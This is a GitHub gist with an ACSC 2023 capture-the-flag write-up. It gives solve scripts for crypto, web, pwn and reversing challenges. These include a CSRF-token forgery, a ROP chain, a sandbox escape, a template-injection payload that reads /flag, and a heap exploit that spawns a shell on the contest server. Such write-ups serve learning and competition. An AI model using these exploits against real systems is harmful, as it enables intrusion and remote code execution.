Skip to content

Instantly share code, notes, and snippets.

@kungfulon
Last active March 4, 2024 09:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kungfulon/4add7fccdd41605ab6d857f2470446cf to your computer and use it in GitHub Desktop.
Save kungfulon/4add7fccdd41605ab6d857f2470446cf to your computer and use it in GitHub Desktop.
ACSC 2023 Write-up

Welcome

Discord flag.

Merkle Hellman

Brute force byte-by-byte and apply encrypt function to verify.

from pwn import *

b = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
flag = b''

for x in c:
    for f in range(32, 128):
        s = 0
        for i in range(7):
            if f & (64>>i):
                s += b[i]
        if s == x:
            flag += p8(f)

print(flag)

Admin Dashboard

Create 2 users, login both users, go to /addadmin to generate $_SESSION['X']. Using it and our usernames, we can solve the linear equation system:

Given U1, U2 as the usernames, M = 0xc4f3b4b3deadbeef1337c0dedeadc0dd
(U1 * A + C) % M
(U2 * A + C) % M

Having A and C in hand, we can generate csrf-token for user admin. Tell bot to go to http://localhost/addadmin with correct parameters to add new admin user, then login to get flag.

import re
import requests as rq
from pwn import *

host = 'http://admin-dashboard.chal.ctf.acsc.asia/'

s1 = rq.Session()
s2 = rq.Session()
s3 = rq.Session()
s4 = rq.Session()

s1.get(host + 'login?username=vbnn&password=vbnn')
s2.get(host + 'login?username=vbmn&password=vbmn')
s3.get(host + 'login?username=assf&password=assf')
s4.get(host + 'login?username=qwerqqqq&password=qwerqqqq')

dat = s1.get(host + 'addadmin')
a = re.search('name="csrf-token" value="(.+)"', dat.text)
X1 = int(a.group(1), 16)

dat = s2.get(host + 'addadmin')
a = re.search('name="csrf-token" value="(.+)"', dat.text)
X2 = int(a.group(1), 16)

dat = s3.get(host + 'addadmin')
a = re.search('name="csrf-token" value="(.+)"', dat.text)
X3 = int(a.group(1), 16)

dat = s4.get(host + 'addadmin')
a = re.search('name="csrf-token" value="(.+)"', dat.text)
X4 = int(a.group(1), 16)

M = 0xc4f3b4b3deadbeef1337c0dedeadc0dd

U1 = u32(b'nnbv')
U2 = u32(b'nmbv')
U3 = u32(b'fssa')
U4 = u64(b'qqqqrewq')

A = (((X2 + M - X1) % M) * pow(U2 - U1, -1, M)) % M
B = (X1 + M - ((U1 * A) % M)) % M

print(hex(A))
print(hex(B))
print(hex(X1), hex((U1 * A + B) % M))
print(hex(X2), hex((U2 * A + B) % M))
print(hex(X3), hex((U3 * A + B) % M))
print(hex(X4), hex((U4 * A + B) % M))

U3 = 0x61646d696e
url = 'http://localhost/addadmin?username=abababab&password=abababab&csrf-token=' + hex((U3 * A + B) % M)[2:]
print(url)

Serverless

Deobfuscate the script, we saw that it's just simple RSA implementation.

n = 102485920709293920960707756584705775468454691825076664322258584664868769934448324119355259368527744283871914200533016696094198363871954854914764112265927879076270224497604163862376216622747032044206770015232334951699373496904252792421180061721266555715826538102269191846795895407595749835308753191557026877839
e = 257
c = 17172368473463775987747325243524856596273056872571298967444142775606729659218809227594603445966794185371450507695322308374038345885732451619228797886053516375083650311753091110338343431079576203599449606477915662537089095568830140907282898414145413832115081384076499237876637981486168293932485880888689617801
p = 7902539523670688752549365452498382985299018894363342133531323012327857960923461934902488879455588857566708722435022350733082133933092267702307821906957977
q = 12968732443832149370169937542849870171809900018949150636308457250052280094029579199566526477098080152448048695730264594884959310262897810775613424383036007
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(hex(m))

text = ''

while m > 0:
    text += chr(m & 0xff)
    m >>= 8

print(text[::-1])

Vaccine

Traditional ROP challenge, just need a bit tweak to pass the correct character check.

from pwn import *

r = remote('vaccine-2.chal.ctf.acsc.asia', 1337)
#r = process('./vaccine')
#gdb.attach(r, 'b *0x401375')

rop  = (b'A' + b'\x00' * 111 + b'A').ljust(0x100, b'\x00')
rop += p64(0x0) # rbp

rop += p64(0x4013d5) # pop rbx ; pop rbp ; ret
rop += b'flag\x00\x00\x00\x00'
rop += p64(0x404080 + 0x3d) # bss flag.txt
rop += p64(0x40121c) # add dword ptr [rbp - 0x3d], ebx ; nop ; ret)

rop += p64(0x4013d5) # pop rbx ; pop rbp ; ret
rop += b'.txt\x00\x00\x00\x00'
rop += p64(0x404084 + 0x3d) # bss flag.txt
rop += p64(0x40121c) # add dword ptr [rbp - 0x3d], ebx ; nop ; ret)

rop += p64(0x4013d5) # pop rbx ; pop rbp ; ret
rop += b'r\x00\x00\x00\x00\x00\x00\x00'
rop += p64(0x404089 + 0x3d) # bss flag.txt
rop += p64(0x40121c) # add dword ptr [rbp - 0x3d], ebx ; nop ; ret)

rop += p64(0x401441) # pop rsi ; pop r15 ; ret
rop += p64(0x404089) # r
rop += p64(0x0)
rop += p64(0x401443) # pop rdi ; ret
rop += p64(0x404080) # bss flag.txt
rop += p64(0x40121d) # pop rbp ; ret
rop += p64(0x404800)
rop += p64(0x40101a) # ret
rop += p64(0x401375) # output flag

rop += b'\x00' * 0x188

rop += p64(0x401293) # flush stdout

r.sendlineafter(b': ', rop)
r.interactive()

Evalbox

Importing os and calling syscalls won't trigger close, so just readdir to find flag file name then read it.

#!/usr/bin/env python3
import seccomp

#code = '''exec(compile("import os; it = os.scandir(); print(it.__next__(), flush=True);", '<string>','exec'))'''
code = '''exec(compile("import os; f = os.open('flag-0479f1dcda629bbe833598bce876a647.txt', os.O_RDONLY); print(os.read(f, 256), flush=True); ", '<string>','exec'))'''

if __name__ == '__main__':
    f = seccomp.SyscallFilter(defaction=seccomp.ALLOW)
    f.add_rule(seccomp.KILL, 'close')
    f.load()
    eval(code)

EasySSTI

The program allows arbitrary template with echo.Context as the parameter, so can abuse it to read flag. Bypass WAF by seeking the file by 1.

{{ $x := .Echo.Filesystem.Open "/flag" }} {{ $x.Seek 1 0 }} {{ .Stream 200 "text/plain" $x }}

RE

Rough explaination:

  • realloc(ptr, 0) will free ptr
  • Abuse this to free chunk that other idx point to -> Leak tcache key (also heap base)
  • Use tcache poisoning to double free and alloc new chunk at tcache_perthread_struct
  • Point another idx to this chunk, also set tcache count of size 0x290 to 7
  • Free tcache_perthread_struct -> Chunk will be put in unsorted bin -> Can leak libc address
  • Control tcache_perthread_struct to point entry of some sizes to tls_dtor_list and TEB block to bypass PTR_DEMANGLE
  • Point tls_dtor_list to controlled data on the heap to call system('/bin/sh')
#!/usr/bin/env python3

from pwn import *

l = ELF('./libc.so.6')
r = remote('re.chal.ctf.acsc.asia', 9999)
#gdb.attach(r)

def edit(idx, size, data):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', str(idx).encode('ascii'))
    r.sendlineafter(b': ', str(size).encode('ascii'))
    if size > 1:
        r.sendafter(b': ', data)

def show():
    r.sendlineafter(b'> ', b'2')

rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

# Leak heap base
edit(0, 0x68, b'aaaa')
edit(0, 0x0, b'')
edit(1, 0x68, b'bbbb')
edit(0, 0x0, b'')
show()
r.recvn(4)
heap = u64(r.recvn(5) + b'\x00\x00\x00') << 12
log.info('heap = 0x%x', heap)

# 
edit(1, 0x68, b'\x00' * 16)
edit(0, 0x0, b'')
edit(1, 0x68, p64((heap + 0x10) ^ (heap >> 12)))

edit(8, 0x18, b'cccc')
edit(8, 0x0, b'')
edit(9, 0x18, b'dddd')
edit(8, 0x0, b'')
edit(9, 0x18, b'\x00' * 16)
edit(8, 0x0, b'')
edit(9, 0x18, p64((heap + 0x10) ^ (heap >> 12)))

edit(2, 0x68, b'\n')
edit(3, 0x68, b'\x07\x00' * 0x28)
edit(4, 0x18, b'\n')
edit(5, 0x18, b'\n')
edit(5, 0x0, b'')

show()
r.recvline()
r.recvline()
r.recvn(4)
l.address = u64(r.recvn(6) + b'\x00\x00') - 0x219ce0
log.info('libc = 0x%x', l.address)

edit(0, 0x78, b'\x01\x00' * 0x3b)
edit(1, 0x78, p64(l.address - 0x2920) + p64(l.address - 0x2890) + p64(rol(l.symbols['system'], 0x11, 64)) + p64(l.address + 0x1d8698) + p64(0) * 2)

edit(6, 0x18, p64(0) + p64(heap + 0xa0))
edit(7, 0x28, p64(0))

r.sendlineafter(b'> ', b'0')
r.interactive()

Ngo

Reverse the program, we can collect the ciphertext and the key generator function. Since I don't know how to simplify it, I generated all possible key and calculate correct index for each character.

#include <stdio.h>
#include <limits.h>
#include <algorithm>

unsigned int x = 0x3D2964F0;

unsigned int fuck()
{
    unsigned int v1 = x & 1;
    x >>= 1;
    x ^= -v1 & 0x80200003;
    return x;
}

unsigned char ida_chars[] =
{
  0x01, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xD7, 
  0x81, 0x21
};

int main()
{
    setbuf(stdout, NULL);
    int countEven = 0, countOdd = 0;
    unsigned long v = 1;
    std::pair<unsigned long, unsigned int> abc[12];
    abc[0] = {1, 0};
    for (int i = 1; i < 12; ++i) {
        v *= 42lu;
        abc[i] = {abc[i - 1].first + v, i};
    }

    for (int i = 0; i < 12; ++i) {
        abc[i].first = (abc[i].first - 1) % __UINT32_MAX__;
    }

    std::sort(abc, abc + 12);

    for (unsigned int i = 0, j = 0; i < __UINT32_MAX__ && j < 12; ++i) {
        fuck();
        if (abc[j].first % (unsigned long)__UINT32_MAX__ == i) {
            ida_chars[abc[j++].second] ^= x & 0xff;
        }
    }

    printf("ACSC{");
    for (int i = 0; i < 12; ++i) {
        printf("%c", ida_chars[i]);
    }
    puts("}");
}
@guard-wait
Copy link

where I can get the attachment?I want to get the "pwn_re"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment